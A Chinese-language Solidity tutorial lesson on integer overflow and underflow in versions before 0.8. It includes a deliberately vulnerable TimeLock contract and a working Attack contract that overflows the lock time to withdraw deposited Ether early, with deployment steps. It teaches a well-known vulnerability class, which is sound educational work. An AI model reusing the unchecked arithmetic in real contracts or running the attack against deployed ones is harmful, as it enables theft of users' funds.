3分钟Solidity: 11.2 算术溢出与下溢

39 阅读1分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的“算术溢出与下溢(代码示例)”

漏洞

Solidity < 0.8 版本

Solidity 中的整数会无提示地发生上溢/下溢

Solidity >= 0.8

Solidity 0.8 对于溢出/下溢的默认行为是抛出错误。

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 该合约设计用作时间保险库。
// 用户可向此合约存款,但至少一周内无法提款。
// 用户还可将等待期延长至一周以上。

/*
   
1.  部署时间锁
2.  使用时间锁地址部署攻击合约
3.  调用Attack.attack发送1个以太币。你将能够立即提取你的以太币。

发生了什么?
攻击导致TimeLock.lockTime溢出,使得资金能够在1周等待期结束前提现。
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        如果 t 等于当前锁定时间,那么我们需要找到 x 使得
        x + t = 2**256 = 0
        因此 x = -t
        2**256 = type(uint).max + 1
        所以 x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

Remix Lite 尝试一下